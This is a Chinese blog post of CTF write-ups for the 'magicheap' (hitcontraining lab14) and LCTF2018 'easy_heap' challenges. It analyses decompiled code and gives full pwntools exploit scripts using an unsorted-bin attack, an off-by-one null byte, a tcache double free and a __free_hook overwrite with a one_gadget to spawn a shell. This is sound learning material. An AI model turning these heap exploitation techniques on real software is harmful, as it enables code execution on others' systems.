登录后台

页面导航

本文编写于 338 天前,最后修改于 126 天前,其中某些信息可能已经过时。

hitcontraining_lab14

程序分析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开了canary和NX保护

--------------------------------
       Magic Heap Creator       
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Delete a Heap               
 4. Exit                        
--------------------------------

没有show函数....

creat函数:可创建10个堆块,每次从0号开始遍历,atoi会跳过前面的空白把字符串转换成整型数的一个函数;

 canary = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      heaparray[i] = malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:", &buf);
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ canary;
    }
  }
  return __readfsqword(0x28u) ^ canary;
}

edit函数:这里可以修改size大小,造成堆溢出

 canary = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v2 = atoi(&buf);
  if ( v2 < 0 || v2 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v2] )
  {
    printf("Size of Heap : ", &buf);
    read(0, &buf, 8uLL);
    v0 = atoi(&buf);
    printf("Content of heap : ", &buf);
    read_input(heaparray[v2], v0);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ canary;

delete函数没问题

有个后门函数,但是开了canary保护,只能想办法从堆上入手
然后发现主函数存在猫腻~

if ( v3 > 3 )
{
  if ( v3 == 4 )
    exit(0);
  if ( v3 == '\x13\x05' )
  {
    if ( magic <= '\x13\x05' )
    {
      puts("So sad !");
    }
    else
    {
      puts("Congrt !");
      cat_flag();
    }}}

漏洞利用

unsorted_bin_into_stack:通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在bss数据段上 malloc 出 chunk。
这里的0x6020b0 = 0x6020c0-0x10;直接从0x6020b0开始,fd指针刚好落在0x6020c0里面
这里的攻击方式在ctf-all-in-one上说到了,只不过没讲原理,还是有点不明白为什么fd指针会改变

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = remote('47.111.233.219','10000')
p = process('./magicheap')
elf = ELF('magicheap')
libc = elf.libc
def add(size,content):
    p.recvuntil('choice :')
    p.send('1')
    p.recvuntil('Heap : ')
    p.send(str(size))
    p.recvuntil('heap:')
    p.send(str(content))
def edit(idx,size,content):
        p.recvuntil('choice :')
        p.send('2')
        p.recvuntil('Index :')
        p.send(str(idx))
        p.recvuntil('Heap : ')
        p.send(str(size))
        p.recvuntil('heap : ')
        p.send(str(content))
def delete(idx):
        p.recvuntil('choice :')
        p.send('3')
        p.recvuntil('Index :')
        p.send(str(idx))
add(0x10,'a')
add(0x80,'b')
add(0x10,'c')
delete(1)
edit(0,0x30,p64(0)*3+p64(0x91)+p64(0)+p64(0x6020b0))
add(0x80,'a')
gdb.attach(p)

p.interactive()

LCTF2018 PWN easy_heap

程序分析

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开o(╥﹏╥)o

------------------------
1: malloc. 
2: free. 
3: puts. 
4: exit. 
------------------------

三个函数,逐项分析

首先是calloc函数,它会在程序开始的时候开辟一块内存,用来存放chunk的地址和size大小

函数原型:void* calloc(unsigned int num,unsigned int size); 功能:在内存的动态存储区中分配num个长度为size的连续空间,函数返回一个指向分配起始地址的指针;如果分配不成功,返回NULL。

add函数:bss段上存的是chunk的地址和大小信息的地址,也就是list->content->chunk0这样的结构,这个需要具体分析内存才能看见,伪代码看的懵~
我原以为list会指向每一chunk,看内存的时候才发现只指向了起始位置
哦,对了,size不能大于0XF8(248)

else
  {
    v2 = list;
    *(v2 + 16LL * v4) = malloc(0xF8uLL);
    if ( !*(16LL * v4 + list) )
    {
      puts("malloc error!");
      exit_("malloc error!", a2);
    }
    printf("size \n> ", a2, v4);
    v6 = get_num();
    if ( v6 > 0xF8 )
      exit_("size \n> ", a2);
    *(16LL * v5 + list + 8) = v6;
    printf("content \n> ");
    sub_BEC(*(16LL * v5 + list), *(16LL * v5 + list + 8));
  }

free函数:清空了content对应chunk的地址和大小
show函数:使用puts函数

漏洞利用

试验了好多次,发现覆盖prev_size就会报错,猜测是单字节溢出,但是始终找不到,看大佬的wp才知道

add(0x10',a')
add(0x10,'b')
delete(0)
add(0xf8,'a'*f8)

当前chunk填充f8个字符时,会溢出一个字节'x00'

由于存在 tcache ,所以利用过程中需要考虑到 tcache 的存在。

通常来讲在堆程序中出现 null-byte-overflow 漏洞 ,都会考虑构造 overlapping heap chunk ,使得 overlapping chunk 可以多次使用 ,达到信息泄露最终劫持控制流的目的 。

null-byte-overflow 漏洞的利用方法通过溢出覆盖 prev_in_use 字节使得堆块进行合并,然后使用伪造的 prev_size 字段使得合并时造成堆块交叉。但是本题由于输入函数无法输入 NULL 字符,所以无法输入 prev_size 为 0x_00 的值,而堆块分配大小是固定的,所以直接采用 null-byte-overflow 的方法无法进行利用,需要其他方法写入 prev_size 。

在没有办法手动写入 prev_size ,但又必须使用 prev_size 才可以进行利用的情况下,考虑使用系统写入的 prev_size 。

方法为:在 unsorted bin 合并时会写入 prev_size,而该 prev_size 不会被轻易覆盖(除非有新的 prev_size 需要写入),所以可以利用该 prev_size 进行利用。

贴上大佬的exp进行分析
这道题关键点是tcache的使用,暂时先搁浅~

流程:
1.将 A -> B -> C 三块 unsorted bin chunk 依次进行释放
2.A 和 B 合并,此时 C 前的 prev_size 写入为 0x200
3.A 、 B 、 C 合并,步骤 2 中写入的 0x200 依然保持
4.利用 unsorted bin 切分,分配出 A
5.利用 unsorted bin 切分,分配出 B,注意此时不要覆盖到之前的 0x200
6.将 A 再次释放为 unsorted bin 的堆块,使得 fd 和 bk 为有效链表指针
7.此时 C 前的 prev_size 依然为 0x200(未使用到的值),A B C 的情况: A (free) -> B (allocated) -> C (free),如果使得 B 进行溢出,则可以将已分配的 B 块包含在合并后的释放状态 unsorted bin 块中。
8.tips: 但是在这个过程中需要注意 tcache 的影响。

强行更改libc路径失败~改天装个ubuntu18吧

# coding=utf-8
from pwn import *
io = remote('47.111.233.219',20000)
#io = process('./easy_heap')
libc = ELF('libc64.so')
context.log_level = 'debug'

def choice(idx):
    io.sendlineafter("> ", str(idx))

def malloc(size, content):
    choice(1)
    io.sendlineafter("> ", str(size))
    io.sendlineafter("> ", content)

def free(idx):
    choice(2)
    io.sendlineafter("> ", str(idx))

def puts(idx):
    choice(3)
    io.sendlineafter("> ", str(idx))

def exit():
    choice(4)

#功能性测试
def test():
    malloc(0x20, 'a'*0x20)
    puts(0)
    free(0)
    exit()

def exp():
    for i in range(7):
        malloc(0x10, str(i)*0x7)
    for i in range(3):
        malloc(0x10, str(i+7)*0x7)
    for i in range(6):
        free(i)
    free(9) #tcache for avoid top chunk consolidate
    for i in range(6, 9):
        free(i)
    # now the heap 
    # tcache-0
    # tcache-1
    # tcache-2
    # tcache-3
    # tcache-4
    # tcache-5
    # unsorted - 6
    # unsorted - 7
    # unsorted - 8
    # tcache-9

    for i in range(7):
        malloc(0x10, str(i)*0x7)
    for i in range(3):
        malloc(0x10, str(i+7)*0x7)

    # now the heap 
    # chunk-6
    # chunk-5
    # chunk-4
    # chunk-3
    # chunk-2
    # chunk-1
    # chunk - 7
    # chunk - 8
    # chunk - 9
    # chunk-0

    for i in range(6):
        free(i)
    free(8)
    free(7)
    # now chunk -9's pre_size is 0x200
    malloc(0xf8, str(8)*0x7) #off-by-one change chunk9's insue
    free(6) # free into tcache, so we can use unsortbin consolidate
    free(9) # unsortbin consolidate

    # now the heap 
    # chunk-6   tcache
    # chunk-5   tcache
    # chunk-4   tcache
    # chunk-3   tcache
    # chunk-2   tcache
    # chunk-1   tcache
    # chunk - 7 unsorted     7-9 consolidate, and 8 in the big free_chunk
    # chunk - 8 use          this is the overlap
    # chunk - 9 unsorted
    # chunk-0   tcache
    for i in range(7):
        malloc(0x10, str(i+1)*0x7)
    malloc(0x10, str(0x8))

    # now the heap
    # chunk-1 
    # chunk-2
    # chunk-3
    # chunk-4
    # chunk-5
    # chunk-6
    # chunk-8 
    # chunk-0
    #
    # chunk-7

    puts(0)
    libc_leak = u64(io.recvline().strip().ljust(8, '\x00'))
    io.success("libc_leak: 0x%x" % libc_leak)
    libc_base = libc_leak - 0x3ebca0
    malloc(0x10, str(0x9))

    # now the heap
    # chunk-1 
    # chunk-2
    # chunk-3
    # chunk-4
    # chunk-5
    # chunk-6
    # chunk-8 
    # chunk-0 chunk-9
    #
    # chunk-7
    free(1) #bypass the tcache count check
    free(0) 
    free(9) #double free

    free_hook = libc_base + libc.symbols['__free_hook']
    one_gadget = libc_base + 0x4f2c5 
    one_gadget = libc_base + 0x4f322# 0x10a38c
    malloc(0x10, p64(free_hook))
    malloc(0x10, '/bin/sh;#')
    malloc(0x10, p64(one_gadget))
    io.success("free_hook: 0x%x" % free_hook)
    #gdb.attach(io)
    free(0)



if __name__ == '__main__':
    exp()
    io.interactive()